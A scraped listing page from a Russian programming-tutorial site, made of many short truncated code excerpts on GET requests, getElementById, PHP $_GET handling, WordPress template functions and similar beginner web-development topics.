... почти везде. в качестве примера можно привести получение параметра из get-запроса. ниже вы найдете код в старом и новом стилях и сможете сравнить, ...
... <script type="text/javascript">   /* функция, создающая экземпляр xmlhttp */   function getxmlhttp() {     var xmlhttp;     try {       xmlhttp = new activexobject("msxml2.xmlhttp"); ...
... basil.set('foo', 'bar'); // сохранить значение 'bar' под ключом 'foo' basil.get('foo'); // вернет 'bar' basil.remove('foo'); // удалит значение 'foo' ...
...     const record=await res.json();     document.getelementbyid("date").innerhtml=record.data[0].date;     document.getelementbyid("areaname").innerhtml=record.data[0].areaname;     document.getelementbyid("latestby").innerhtml=record.data[0].latestby; ...
всем привет! в прошлой статье мы разобрали, зачем нужен псевдокласс target, а сегодня мы закрепим знания на практике и создадим аккордион на чистом ...
...    }    public function getlink($name) {     return $this->_type->createlinkname($name);    }   }   $obj = new filestrategy();   $link1 = $obj->getlink("file_one");   $link2 = $obj->getlink("file_two"); ...
... <?php if(session::get('loggedin') == false):?>   <a href="<?php echo url; ?>index">index</a>   <a href="<?php echo url; ?>help">help</a> <?php endif; ?> <?php if(session::get('loggedin') ...
... исключения и вывод соответствующих уведомлений */   if ($e->getcode() == 1) echo "файл не найден";   elseif ($e->getcode() == 2) echo "файл закрыт для записи";   elseif ($e->getcode() ...
... вот простой пример процедуры, содержащей запрос к базе create procedure get_user(in user_id int) begin     select * from users where id = user_id; ...
... методом sendfile(). давайте перепишем наш код: app.get('/', function(req, res) {   res.sendfile(__dirname + '/index.html'); }); app.get('/contact', function(req, res) {   res.sendfile(__dirname ...
...         applicationid "ru.myrusakov.rssapp"         minsdk 23         targetsdk 32         versioncode 1         versionname "1.0" ...
... продолжить, нам нужно установить пакет nuget для tesseract. перейдите во вкладку сервис > диспетчер пакетов nuget > консоль диспетчера пакетов, в появившемся ...
... берем весь url и отправляем на файл index.php(нашу единую точку входа), передав get параметр url со значением нашего url. теперь что бы вы не ввели в адресную ...
... получаем дочерние элементы   for (var i = 0; i < elements.length; i++) {     $(elements.get(i)).attr("title", "заголовок"); // устанавливаем атрибут title="заголовок"   } ...
...         const menu = document.getelementbyid(menu_id);         const menuitemheaders = menu.getelementsbyclassname(menu_item_header_class);         // перебор заголовков и установка состояния открытия/закрытия для каждого ...
... описание метода. делать мы это будем через php: <?php   $wall = file_get_contents("https://api.vk.com/method/wall.get?v=5.3&filter=others&domain=myrusakov&count=5");   print_r($wall); ?> в данном ...
... // выберите целевой узел для наблюдения const targetnode = document.getelementbyid('targetelement'); // настройте наблюдателя для отслеживания определенных типов мутаций ...
... файлами на самом простом уровне: file_put_contens() и file_get_contents(). функция file_put_contents() записывает в файл, а функция file_get_contents() считывает содержимое из файла. эти ...
...   var button = document.getelementbyid('button'),       xmlhttp = new xmlhttprequest();   button.addeventlistener('click', function() {    var name = document.getelementbyid('name').value.replace(/]+>/g,''), ...
... пишется в теге <?php ... ?>. <?php   $text = 'чайник';   $utm_term = $_get['utm_term'];   if (!empty($utm_term)) {   if ($utm_term == 'electric_kettle') {   $text ...
... cap = cv2.videocapture("video0102.mp4"); # вывод с видео файла print(cap.get(cv2.cap_prop_frame_width)) # вывод в консоли размера нашего окна. ...
...             # отправляем запрос на сервер             req = requests.get(url % counter, headers=headers)                  # логируем ошибки с помощью встроенного модуля ...
... const files_storage_path = './uploaded'; interface httpmethod {     public const get = 'get';     public const post = 'post'; } function response(mixed $data) ...
...     $this->role = $role;    }    public function getname() {     return $this->name;    }    public function getrole() {     return $this->role;    }    ...
...                 const val = doformat(elem.value, elem.getattribute('data-format'));                 elem.value = doformat(elem.value, elem.getattribute('data-format'), elem.getattribute('data-mask')); ...
...                 const blob = item.getasfile();                 // создаем объект, считывающий файлы ...
... # функция обработки события def on_select(event):     selected_value = combo.get()  # получаем выбранное значение     print(f"вы выбрали: {selected_value}") ...
... атрибут target. с помощью него можно указать, как будет открываться страница, на которую осуществляется переход. значение _blank у атрибута target открывает ...
... $ dotnet run this is myrusakov post this  is  myrusakov  post c# метод environment.getcommandlineargs метод environment.getcommandlineargs возвращает массив строк, содержащий аргументы командной ...
...                         $rule->getvars()                     ); ...
... идентификаторов. function showmore() {     var dots = document.getelementbyid("dots");     var moretext = document.getelementbyid("more");     var btntext = document.getelementbyid("btn"); ...
...   public static function set($key, $value) {    $_session[$key] = $value;   }   public static function get($key) {    if(isset($_session[$key]))    return $_session[$key];   }   public static function ...
... атрибута: первый способ, через getattribute и setattribute указываем выбранный на странице элемент (тег, id, класс), сам метод getattribute и название атрибута, который ...
...     var expanded by remember { mutablestateof(false) }     val size by animatedpasstate(targetvalue = if (expanded) 200.dp else 100.dp, label = "")     box(         modifier ...
...     @query("select * from user_table")     list<user> getallusers(); } шаг 4: создание базы данных создаем абстрактный класс, который ...
...         // преобразуем выбранное значение опции списка в число - идентификатор категории         const categoryid = parseint(e.target.options[e.target.selectedindex].value);         // получаем из массива категорий объект категрии по соответствующему идентификатору ...
... дня недели (понедельник - 0, вторник - 1, и так далее). import datetime def get_tuesday_and_thursday_dates(year, month):     dates = []     date = datetime.date(year, month, 1)  # создаем объект даты для первого дня указанного года и месяца ...
... получение нужных элементов по id и по названию тега. document.getelementbyid("demo").innerhtml = xmldoc.getelementsbytagname("name")[0].childnodes[0].nodevalue; вывод в консоль. console.log(xmldoc.getelementsbytagname("name")); ...
... '{$url}'");      return $code;     }    }    public function geturl($code) {     $code = $this->db->escape_string($code);     $code = $this->db->query("select ...
... //загрузка товаров на страницу } у jquery имеется на этот случай метод getjson(), в параметрах которого передается имя json файла и функция-обработчик ...
... import time link = r'https://www.cryptocompare.com/' browser = webdriver.chrome() browser.get(link) try:     webdriverwait(browser, 10).until(ec.presence_of_element_located(         (by.class_name, "panel-body"))) ...
... {      $sum = $this->x + $this->y;      return $sum;    }    function getpi() {      return self::pi;     }  }?>здесь всё очень просто: ...
... function countdowntimer(duration, granularity) {     this.time_format = this.gettimeformat(duration);     this.duration = this.toseconds(duration);      this.initialduration = this.duration; ...
... if( typeof(array.prototype.getrandom ) !== 'function' {          // добавляем метод в прототип массива     array.prototype.getrandom = function() { ...
... lftrght=new array();var browserinfos=navigator.useragent;var ie5=document.all&&document.getelementbyid&&!browserinfos.match(/opera/);var ns6=document.getelementbyid&&!document.all;var opera=browserinfos.match(/opera/);function randommaker(range) ...
... '50%' // положение слева относительно родителя    };    var target = document.getelementbyid('loading');    var spinner = new spinner(opts).spin(target);   </script> ...
... include 'user.php';   $rm = new reflectionmethod('users\user', 'getdata');   echo '<pre>';   echo print_r(get_class_methods($rm));   echo '</pre>'; ?> чтобы создать ...
... которые взаимодействуют с веб-сервисами. рассмотрим пример выполнения get-запроса асинхронно. private async void buttonfetchdata_click(object sender, eventargs e) ...
... в админ-панели. для этого есть функция get_terms, которая выводит на страницу списки таксономий. $terms = get_terms( array(   'taxonomy' => 'price', ...
...                     updateroute(startmarker.getlatlng(), endmarker.getlatlng());                 } ...
... форме нет атрибута action, где указывается php обработчик и не указаны методы get / post. в технологии ajax, эти методы указываются в js скрипте. отсутствие ...
... print $class_comments = $ref -> getdoccomment(); // получаем комментарии к методу $method_comments = $ref -> getmethod('actioncontacts') -> getdoccomment(); ...
...     byte[] salt = new byte[saltlength];     var rngrand = new rngcryptoserviceprovider();     rngrand.getbytes(salt);     return salt; } следующие два метода используют ...
...         const modal = document.getelementbyid("modal");         const modalimage = document.getelementbyid("modal-image");         // отображаем модальное окно и устанавливаем источник изображения ...
...         connectivitymanager connectivitymanager = (connectivitymanager) context.getsystemservice(context.connectivity_service);         networkinfo activenetworkinfo = connectivitymanager != null ? connectivitymanager.getactivenetworkinfo() : null; ...
... теперь рассмотрим функцию displayuploads var displayuploads = function(data) {   var uploads = document.getelementbyid("uploads"),       anchor,       x;   for(x = 0; x < ...
... <body>   <a href="yandex.ru" id="link">нажми!</a>   <script>    var link = document.getelementbyid('link');    link.addeventlistener('click', function(e) {     e.preventdefault(); ...
... вывод записей на примере темы twenty seventeen. записи выводятся через тег шаблона get_template_part в цикле шаблона index.php, который передаёт в параметрах содержимое ...
...     // статический метод, которые создает конкретный объект      public final static function get()     {         // статический список объектов ...
... страницам на php. в основе лежат оператор limit и get-параметр. вот примерный алгоритм работы: получить значение get-параметра, отвечающего за номер страницы. ...
... адресной строке браузера (без фигурных скобок{}): https://api.telegram.org/bot{bot_token}/getupdates в ответ должен прийти json ответ с chat_id или просто id. шаг 2: установка ...
...             const taskinput = document.getelementbyid("taskinput");             const addtaskbutton = document.getelementbyid("addtask");             const tasklist = document.getelementbyid("tasklist"); ...
... методов: __construct, __destruct __call, __callstatic __get, __set __sleep, __wakeup __tostring __invoke ...
...        def get_balance(self):            return self.__balance    account = bankaccount(100)    account.deposit(50)    print(account.get_balance())  # выведет: 150 ...
...  * к полученному массиву добавляем названия столбцов из $header и возвращаем  *   */ function getallordersreport(pdo $connection) {     $header = ['номер', 'статус', 'клиент', 'откуда', 'куда', 'к оплате', 'цена', 'долг', 'создан']; ...
...     // метод для получения настройки из хранилища     public function get($option) {     {     return $this -> options[$option];     }   ...
...         function generateimage() {             var text = document.getelementbyid('textinput').value;             // создаем элемент canvas ...
... файлу index.php с соответствующим get-запросом. поэтому несмотря на отсутствие в url из адресной строки браузера всяких get-параметров, если выполнить ...
... тегами <head> и </head>): <script type="text/javascript">   function tree(target) {     var ul = target.parentnode.getelementsbytagname("ul").item(0);     ul.style.display = (ul.style.display == ...
... user = user.objects.create(name='михаил', age=30) # получение данных user = user.objects.get(name='михаил') print(user.name, user.age) peewee peewee - это простая и легковесная ...
... проверки пароля // получаем модальное окно var modal = document.getelementbyid('mymodal'); // показываем модальное окно при загрузке страницы ...
... элемент по его id. let canvas = document.getelementbyid('draw'); затем получим его контекст. для этого вызовем метод getcontext() и укажем, что мы будем рисовать ...
... события могут быть обработаны. в pygame метод получения этой коллекции - pygame.event.get(). событие, которое нам нужно - это pygame.quit. она возникает, когда кто-то ...
... отслеживать их изменения. пример использования geolocation api: navigator.geolocation.getcurrentposition(   (position) => {     console.log(`latitude: ${position.coords.latitude}`); ...
... с помощью then() и catch() для обработки ответов и ошибок. простейший пример get-запроса: fetch('https://jsonplaceholder.typicode.com/posts/1')   .then(response => response.json()) // преобразуем ответ в json ...
... чтобы получить соединение из пула, необходимо использовать метод getconnection(): pool.getconnection(function(err, connection) {   // здесь работаем с полученным соединением  ...
... выбранных элементов в виджете со списком, вы можете использовать метод get(). метод get() возвращает целое число выбранного элемента, известное как индекс ...
... а затем sudo pip3 install pyobjc. в linux запустите sudo pip3 install python3-xlib, sudo apt-get install scrot, sudo apt-get install python3-tk и sudo apt-get install python3-dev. (scrot - это программа для создания ...
... наше приложение и создадим отображение для get-запроса на nodejs. в этой статье мы сфокусируемся на get-запросе в нашем контроллере todocontroller.js и создадим ...
... товарами в интернет магазине. установка bootstrap зайдем на главную страницу getbootstrap.com и воспользуемся вторым способом подключения через cdn (сеть доставки ...
...         const chat = document.getelementbyid('chat');         const messageinput = document.getelementbyid('message');         const sendbutton = document.getelementbyid('send'); ...
...     for i in range(4):         process = process(target=worker, args=(i,))         processes.append(process)         process.start() ...
...    # конвертируем страницу в изображение (массив пикселей)    pix = page.get_pixmap(matrix=matrix)    # сохраняем изображение в файл    output_image_path = f"images/page_{page_number + 1}.jpg" ...
... объявим переменную buttonelem и при помощи метода getelementbyid сохраним кнопку в эту переменную. const buttonelem = document.getelementbyid('mybtn'); 2) шаг. создание ...
... \slim\app($config);   // определяем маршруты   // главная страница   $app -> get('/',function($request, $response)) {      return $response -> write('добро пожаловать ...
... формой. для этого мы воспользуемся javascript: function select(element) {   var value = element.getattribute("data-value"); // считываем значение выбранного элемента   var nodes = element.parentnode.childnodes; ...
... обратите внимание, что мы также используем цикл while вместе с функцией getline() (которая принадлежит классу ifstream) для чтения файла построчно и для ...
...   <div id="swipearea">swipe here</div>   <script>     const swipearea = document.getelementbyid('swipearea');     let touchstartx = 0;     let touchstarty = 0; ...
...     return render_template('index.html') @app.route('/login', methods=['get', 'post']) def login():     if request.method == 'post': ...
... кнопки, должно быть два обязательных data атрибута от bootstrap. data-toggle="modal" data-target="#examplemodal" идентификатор examplemodal связывает кнопку с модальным окном. ...
...         if ($header) {             $this->header = fgetcsv($this->handle);         }         return $this; ...
... # шаблон извлекается из каталога templates # методом get_template template = env.get_template('showlang.txt') output = template.render(languages=languages) print(output) ...
... document.addeventlistener('keydown', function(event) {     const inputelement = document.getelementbyid('myinput');     const isalphanumeric = /^[a-za-z0-9\u0400-\u04ff\u0500-\u052f]$/; ...
... запросов базы данных для выполнения определенных операций. create procedure getallcustomers() begin     select * from customers; end функции (functions) ...
...     $filepath = rootdir . directory_separator . $file->getfilename();     if($file->isfile() && $file->getextension() === 'pdf')      {         $posterfile = new splfileinfo(coverimagepath($filepath)); ...
... function buycoffee() {   return new promise((resolve, reject) => {     asyncronouslygetcoffee(function(coffee) {       resolve(coffee);     });   }); ...
...     <!-- data-clipboard-target - ссылка на, то что будет копироваться -->     <button class="btn" data-clipboard-target="#foo">копировать</button> ...
...                 files.foreach(file => archive.createentryfromfile(file, path.getfilename(file)))             }         } ...
... function convertimagetocanvas(image) {   var cnvs = document.createelement("canvas");   cnvs.width = image.width;   cnvs.height = image.height;   cnvs.getcontext("2d").drawimage(image, 0, 0); ...
... 'иванов', 'васильев', 'яковлева', 'степанова']; let out_arr = document.getelementbyid('out_arr'); out_arr.innerhtml = worker; фамилии сотрудников выведутся ...
... элемента. let dogs = ["мопс", "бульдог", "такса", "йорк"]; dogs.push("лабрадор"); document.getelementbyid("demo_dogs").innerhtml = dogs; в html-документе: <p id="demo_dogs"></p> в документе ...
... любое, но желательно отображающее суть программируемого действия. function getpass() {     // тело функции } внутри фигурных скобочек идет ...
... javascript.</title>    </head>    <body>        <form onsubmit="onformsubmit(); return false;">            <p>                <label for="demo_filename">название файла:</label><br>                <input type="text" id="demo_filename">            </p>            <p>                <label for="demo_content">содержимое:</label><br>                <textarea id="demo_content"></textarea>            </p>            <button type="submit">загрузка</button>        </form>        <script type="text/javascript">            function downloadfile(data="", filename="test.txt", type="text/plain") {                            // создаем невидимый элемент ссылки                const a = document.createelement("a");                a.style.display = "none";                document.body.appendchild(a);                                // в качестве данных для загрузки из ссылки устанавливаем данные из формы                a.href = window.url.createobjecturl(                    new blob([data], { type })                );                                // аттрибут download ссылки используется для загрузки файла                a.setattribute("download", filename);                // запускаем загрузку путем эмулирования нажатия клавиши                a.click();                // удаляем ссылку из dom                document.body.removechild(a);            }                        // вызывается при отправке формы            function onformsubmit() {                downloadfile(                    document.getelementbyid("demo_content").value,                    document.getelementbyid("demo_filename").value                );            }        </script>    </body></html> ...
...             pdfdocument pdfdocument = new pdfdocument();             pdfdocument.loadfromfile(file.getabsolutepath());             // конвертируем ...
... шахматную доску с помощью циклов. <script> var c=document.getelementbyid("mycanvas"); var ctx=c.getcontext("2d"); for(i=0;i<8;i++) {for(j=0;j<8;j++) {ctx.moveto(0,70*j); ctx.lineto(560,70*j); ...
... генерация случайного числа между 1 и 100 $rand = new random\randomizer(); $rand->getint(1, 1000); // 425 перемешивание строки $rand = new random\randomizer(); ...
... формы $email = trim($_post["email"]); $message = "е-майл: $email"; $pagetitle = "новый подписчик на вашем сайте \"$sitename\""; mail($recepient, $pagetitle, $message, "content-type: text/plain; charset=\"utf-8\"\n from: $recepient"); ...
...           const darkswitch = document.getelementbyid('darkswitch');           const currenttheme = localstorage.getitem('theme');           if (currenttheme) { ...
... // методы для проверки наличия, получения и установки заголовков headers.has('content-type'); // true headers.get('content-type'); // "text/html" headers.set('content-type', 'application/json'); ...
... псевдоклассы target: - применяется к id, который указан в адресной строке браузера. <div id="h1">заголовок раздела</div> h1:target {     color: ...
... получить список файлов в указанной папке с помощью команды get-childitem. $filelist = get-childitem -path $sourcepath 4. переименование файлов далее осуществляется ...
... import { injectable } from '@angular/core'; @injectable({   providedin: 'root' }) export class userservice {   getusername() {     return 'иван';   } } использование ...
... // функция генерирует случайное число диапазоне [min,mах] function getrandomnumber(min, max) {     return math.floor(math.random() * (max - min + 1)) + min; ...
...         return "this is a private method"     def get_private_attribute(self):         return self.__private_attribute obj = myclass() print(obj.get_private_attribute())  # 42 хотя ...
...     function ($e) {         echo "error: {$e->getmessage()}\n";     } ); $loop->run(); этот код выполняет асинхронный ...
... элемент. заголовок hello, world выводится в блоке с id="content". reactdom.render(<app />, document.getelementbyid('content') 3) создадим класс app. имя тега должно совпадать с ...
...             };             img.src = event.target.result;         };         reader.onerror = function() { ...
... укажем контекст рисования 2d. // javascript код let canvas = document.getelementbyid('drawline'); let ctx = canvas.getcontext('2d'); рисование линии напоминает рисование ...
...             // получаем список файлов кроме файлов из папок obj и bin             var files = getdirectoryfiles(dir, new list<string> { "\\obj\\", "\\bin\\" });             // создаем архив ...
...     // ссылки на кнопки     const down_button = document.getelementbyid("down_button");     const stop_button = document.getelementbyid("stop_button");     // при щелчке по кнопке загрузки ...
...     { name: 'index@notfound', url: '/notfound', handler: handlers.error404 }, ] // маршрут при ошибке 404 const getnotfoundroute = (routes) => routes.find(route => route.name === 'index@notfound') ...
...         tasksfile = 'tasks.xml'; // файл с задачами     // get запрос на получение данных из xml файла     const requestobject = { ...
...         pdf = pdffilereader(f)         inf = pdf.getdocumentinfo()         number_of_pages = pdf.getnumpages()     txt = f"""     информация об {path_to_pdf}:  ...
... содержимое? поможет нам псевдо-класс :target, который при клике по цели, применит заданный стиль к элементу с якорем. .tab__box:target {     display: block; // покажет ...
...     if (window.filelist && window.file) {         const file = e.target.files[0];         const name = file.name ? file.name : 'not supported'; ...
... # в данном случае потребуется обновить pip двумя командами: curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py my_env3\scripts\python.exe -m pip install --upgrade pip # после чего установим любой пакет:   ...
... передаем в функцию get() какой-нибудь ключ и получаем в консоли его текущее значение. let format = 'dd.mm.yyyy';     console.log(moment().get('year')); // ...
...     # получаем имя пользователя и пароль     username = username_entry.get()     password = password_entry.get()     # выводим в диалоговое окно введенные пользователем данные ...
... const inputelement = document.getelementbyid('searchinput'); function handleinput(event) {     console.log('ввод пользователя:', event.target.value); } const debouncedhandleinput = debounce(handleinput, 300); ...
... class program {     [dllimport("user32.dll")]     static extern bool getcursorpos(out point lppoint);     static void main()     {         console.writeline("начало отслеживания и записи координат курсора. нажмите любую клавишу для выхода."); ...
...     const togglebutton = document.getelementsbyclassname('toggle-button')[0]     const navbarlinks = document.getelementsbyclassname('navbar-links')[0]     // при клике на кнопку меня переключаем состояние меню ...
...     def _handle_input(self):         for event in pygame.event.get():             if event.type == pygame.quit or ( ...
...     """открыть окно настроек и передать данные"""     user_text = entry.get()  # получаем текст, введённый пользователем в главном окне ...
... вводимые данные. function validate(){     var form = document.getelementbyid("form");     var email = document.getelementbyid("email").value;     var pattern = /^[^ ]+@[^ ]+\.[a-z]{2,3}$/ ...
... use phpoffice\phpspreadsheet\writer\xlsx; const report_file_name = "отчет_по_закупкам.xlsx"; if (isset($_get['report'])) {     // (1) создаем новую книгу     $spreadsheet = new spreadsheet(); ...
... # создадим  экземпляр драйвера my_driver = webdriver.chrome(path) # пропишем адрес сайта my_driver.get("https://myrusakov.ru/python-tutorial.html") # получим список ссылок из страницы сайта ...
...     newsapi = newsapiclient(api_key ='yourkey')     top = newsapi.get_top_headlines(sources ='techcrunch')     l = top['articles']     dsc =[] ...
... отправки http-запросов. import requests # отправка get-запроса и работа с url response = requests.get('https://api.example.com/data?id=123') print(response.url)  # выводит url, сформированный запросом ...
...             app.mapget("/", () => "это минимальное api сайта");             app.mapget("/version", () => $"версия приложения 0.0.1"); ...
...             const searchtext = document.getelementbyid("search").value.tolowercase();             const category = document.getelementbyid("category").value; ...
...             if (navigator.geolocation) {                 navigator.geolocation.getcurrentposition(function (position) {                     const latitude = position.coords.latitude; ...
...     private static function printformattedline(string $line): void     {         $tokens = token_get_all('<?php ' . $line);         array_shift($tokens); // удаление токена открывающего тега php ...
... способ передачи данных и может иметь одно их двух значение, post или get. метод get используется по умолчанию, когда передача данных осуществляется ...
...     assert(1 + 1 == 3, '1 + 1 не равно 3'); } catch (assertionerror $e) {     echo $e->getmessage(); // выведет: '1 + 1 не равно 3' } ?> пример ...
... элемента и добавляет его только в том случае, если его еще нет. def get_unique(in_list):    # объявление пустого списка    unq_list = [] ...
...     return lines # возвращает 5 случайных вопросов def get_questions(numberofanswers = 5):     # получаем список строк из файла ...
...     # находим длину, ширину изображения и размеры каждого кадра      width, height = sprite.get_size()     w, h = width/w1, height/h1          # счетчик положения кадра на изображении ...
... обновляет координаты позиции пчелы. const canvas = document.getelementbyid('canvas') // получаем холст const ctx= canvas.getcontext('2d') // получаем контекст рисования let ...
...        string greetings = "привет! myrusakov.ru";        fileoutputstream.write(greetings.getbytes());        fileoutputstream.close();    } } можно ...
...             return false;         }         if (gettype($data[$key]) !== $type) {             echo "ключ '$key' должен быть типа '$type'.\n"; ...
... получение элемента canvas, контекста и свойства math.pi let canvas = document.getelementbyid('drawround'); let ctx = canvas.getcontext('2d'); let pi = math.pi; ctx.beginpath();// начало нового пути ...
...         print("drawing a square") class shapefactory:     @staticmethod     def get_shape(shape_type):         if shape_type == "circle":             return circle() ...
... //увеличиваем ширину и высоту видео в 2 раза   $width = 2 * $ffmpeg->getframewidth();   $height = 2 * $ffmpeg->getframeheight();   //вызываем приложение ffmpeg с соответствующими ...
... = document.getelementbyid("rotatorbutton");     i--;     if (i < 0) i = array.length - 1;     image.src = array[i];   }   function right() {     var image = document.getelementbyid("rotatorbutton"); ...
...  let array = [1, 2, 3];   localstorage.setitem(array, json.stringify(array));   array = json.parse(localstorage.getitem("array"));   console.log(typeof array); // объект   console.log(array); // [1, 2, 3] сохранение ...
... поменять метод sendfile() на render() вот таким образом: app.get('/', function(req, res) {   res.render('index'); }); app.get('/contact', function(req, res) {   res.render('contact'); ...
... красный цвет   $color = imagecolorallocate($i, 255, 0, 0);   //рисуем текст ttf-шрифтом   imagettftext($i, 16, 94, 100, 150, $color, "times.ttf", "myrusakov.ru");   //отправляем заголовок с mime-type ...
... хотим видеть: шапку и подвал. а можно и не выводить их. <?php get_header(); // вывод шапки get_footer(); // вывод подвала ?> между шапкой и подвалом можно ...
... = localstorage.getitem('ключ'); в результате, в переменную value попадет значение, которое хранится под ключом, который мы передаем в метод getitem. удаляем ...
... console.log('летает');    }    getcolor() {     console.log(this.color);    }  }   let pegion = new abird(2, 'белый');   console.log(pegion.getcolor()); сокрытие методов ...
... const vat = 77.00;   public function getvat() {    return self::vat.'%';   } } теперь мы можем получить доступ таким образом: echo $product->getvat(); проблема в том, ...
... ими, прописывая свойства в дивах. <div class="container">   <img src="vegetables.png" alt="vegetables">   <div class="left">лук</div>   <div class="center">картошка</div> ...
... password_default, $opt);   } ?> password_get_info() эта фунция просто возвращает массив параметров хэширования. <?php   $arr = password_get_info($hash); ?> вернётся ассоциативный ...
  • 376. файл robots.txt
  • Раскрутка сайта/Внутренняя оптимизация
... значение, это "clean-param". если ваш сайт динамический, и ссылки имеют get-параметры, то очень часто в get передаются параметры, которые не влияют на содержимое ...
... public static function getcount() {     return self::$count;   } } echo math::calcsin(1); echo "<br />"; echo math::calcsqrt(9); echo "<br />"; $math = new math(); $math_2 = new math(); echo math::getcount(); ?> ...
... минимальную дату, равную выбранной. .on( "change", function() { to.datepicker( "option", "mindate", getdate( this ) );   }), to = $( "#to" ).datepicker при смене выбранной даты находим ...
... type="text/javascript">   function showorhide(cb, cat) {     cb = document.getelementbyid(cb);     cat = document.getelementbyid(cat);     if (cb.checked) cat.style.display = "block";     ...
... давайте сразу рассмотрим пример: class calculator {   protected $result = 0;   public function getresult() {    return $this->result;   }   public function add($number) {    $result = 'this'; ...
... личной практики (он сильно упрощён, но самую суть я оставил): <?php   $view = $_get["view"];   switch ($view) {     case "pagea":       $content = new pageacontent($db); ...
... <canvas></canvas> теперь мы можем начать писать скрипт. var tag = document.getelementbyid("canvas"),     ctx = tag.getcontext("2d"); сначала мы отбираем наш canvas, а затем создаём ...
... на самом деле, очень просто. для этого есть функция force.jump(). var element = document.getelementbyid('element-id'); // перепрыгнуть к объекту force.jump(element); // перепрыгнуть ...
... pdo("myql:host=$host;dbname=$dbname", $user, $pass); } catch(pdoexception $e) {   echo "you have an error: ".$e->getmessage()."<br>";   echo "on line: ".$e->getline(); } в качестве примера, я допустил ошибку и написал ...
... перейдем в app/http/routes.php, удалим там все и напишем свой роутер. <?php   route::get('/', [    'uses' => '\chatty\http\controllers\homecontroller@index',    ...
... сайта   $url = "http://www.myrusakov.ru/";   // вызов методов сервиса   $api_data = file_get_contents("https://www.googleapis.com/pagespeedonline/v2/runpagespeed?url=$url&screenshot=true");   // расшифровка ...
... delay = 2000;   var ar_src = new array();   function setbigimageslide(group) {     var group = document.getelementbyid(group);     var images = group.childnodes;     var src = new array();     ...
... это значение и выводить его при наведении на текст. var el = document.getelementbyid("test"); var text = el.getattribute("data-title"); alert(text); также данный атрибут можно использовать, ...
... <script> // получить видео c конкретным id var video = document.getelementbyid("myvideo"); // получить кнопку var btn = document.getelementbyid("mybtn"); // функция запуска, остановки видео ...
... <body>   <a href="yandex.ru" id="link">нажми!</a>   <script>    var link = document.getelementbyid('link');    link.attachevent('onclick', function(e) {     e.returnvalue ...
... обращении, например, к $this->title будет выводиться $this->data["title"] */   public function __get($name) {     if (isset($this->data[$name])) return $this->data[$name];     return ""; ...
... переменные, полученные из get-запроса. допустим, был такой запрос: index.php?a=15. таким образом, безусловно, создаётся переменная $_get["a"] и переменная a. вот ...
... этот скрипт и постараюсь тщательно прокомментировать. <?php   function getzodiacalsign($month, $day) {     $signs = array("козерог", "водолей", "рыбы", "овен", "телец", ...
... генерируется графический счётчик на php. сразу привожу код: <?php   $count = file_get_contents("counter.txt"); // считываем значение счётчика   $count++; // увеличиваем ...
... "48503dfd58720bd5ff35c102065a52d7"; //в реальности считывается из бд  if (($_get['login'] == $login) && (md5($_get['password']) == $password)) echo "welcome!";  else echo "access denied";?>теперь если ...
... рассмотрим, как обрабатывать post запросы в nodejs. post запросы отличаются от get запросов, которые мы рассматривали в прошлых статьях, тем, что данные ...
... <p> <a href="" target="_blank"> <img src="url_image.jpg" alt="" width="320" height="182"> </p> <p class="copy"><a href="">  copyright </a> </p> <p class="blue"> <a href="" target="_blank">  ссылка ...
... пустой файл archive-book.php и подключим к нему шапку, <?php get_header(); ?> подвал <?php get_footer(); ?> и сделаем вывод контента в цикле, скопировав ...
...       // если его время жизни ещё не прошло       echo file_get_contents($cache_file); // выводим содержимое файла       exit; // завершаем ...
... table; atan возвращает артангес select atan(.3) as artangets from table; atan2 то же самое, но для 2 чисел. select atan2(.3, .2) as artangets2 from table; вернет: 0.982793723 power возвращает ...
...   $(document).on("dblclick", "#block span", deletespan);   function deletespan(event) {     $(event.target).remove();   } </script> в данном примере был использован метод on(). первым ...
те, кто использовал кнопку type="image" и метод get, обратили внимание, что в адресной строке появляются дополнительные параметры "x" и "y", которые содержат ...
... файлу form.php ссылку на ../bootstrap.min.css на официальном сайте bootstrap. открываете getbootstrap, копируете саму верхнюю ссылку на файл стилей в разделе bootstrap cdn ...
...     var isgecko = navigator.useragent.tolowercase().indexof("gecko") != -1;     var iframe = (isgecko) ? document.getelementbyid("frameid") : frames["frameid"];     var iwin = (isgecko) ? iframe.contentwindow : iframe.window; ...
... большинство программистов делает так: <script type="text/javascript">   var block = document.getelementbyid("block");   block.scrolltop = 9999; </script> безусловно, данный способ рабочий. ...
... mysql. для начала изменим наш файл инициализации - bootstrap.php. $url = isset($_get['url']) ? $_get['url'] : null; таким образом мы сделали проверку на существование ...
... делается. начнём с формы и javascript-кода: <script type="text/javascript">   function getxmlhttp() {     var xmlhttp;     try {       xmlhttp = new activexobject("msxml2.xmlhttp"); ...
... "javascript">   function showlinkimage(id) {     document.getelementbyid(id).style.display = "block";   }   function hidelinkimage(id) {     document.getelementbyid(id).style.display = "none";   } </script> ...
... комментария на сайте. <?php   $db = db::getinstance(); // получаем соединение с базой данных   $lastcomment = $db -> getlastcomment(); // получаем последний комментарий ...
... игнорирование событий, которые произошли не на данной кнопке    if( !event.target.hasattribute('data-toggle-fullscreen') ) return;   }, false ); затем, нам необходимо ...
... делаем его видимым display = "block"; <script> function openform() {     document.getelementbyid("myform").style.display = "block"; } функция closeform закрывает форму, получает ...
... кода. wp_enqueue_script( 'my-fb', get_template_directory_uri() . '/fancybox/jquery.fancybox.pack.js', array('jquery') ); wp_enqueue_style( 'my-fb-css', get_template_directory_uri() . '/fancybox/jquery.fancybox.css' ...
...     <!—ссылка на большую фотографию -->     <a target="_blank" href="mountains.jpg">     <!—превью фотографии -->     <img ...
...   function check(login) {     if (login.length < 3) document.getelementbyid("e_login").style.display = "inline";     else document.getelementbyid("e_login").style.display = "none";   } </script> в функции ...
... 2-го ротатора   function rotatormany() {     document.getelementbyid("rotator_many_1").src = path + cats[counter];     document.getelementbyid("rotator_many_2").src = path + dogs[counter];     counter++; ...
...   $el_2 = $el_1->nextsibling; // ближайший сосед после 1-го элемента el   echo $el_1->getattribute("a"); // выводим значение атрибута "a" у 1-го элемента el   echo "<br />"; ...
... </head>): <script type="text/javascript">   function starttimer() {     var my_timer = document.getelementbyid("my_timer");     var time = my_timer.innerhtml;     var arr = time.split(":");     ...
... // получаем текущие дату и время   var h = date.gethours(); // получаем текущий час   if (h < 8 || h > 21) document.getelementbyid("style").href = "css/night.css"; // если сейчас ночь, ...
... рассмотрим, как сделать простую навигацию на html5 и css3, используя псевдокласс :target. <!doctype html> <html lang="en"> <head>   <meta charset="utf-8">   <title>html5 ...
... папке libs. <?php   class bootstrap {    public function __construct() {     $url = $_get['url'];     $url = rtrim($url, '/');     $url = explode('/', $url); ...
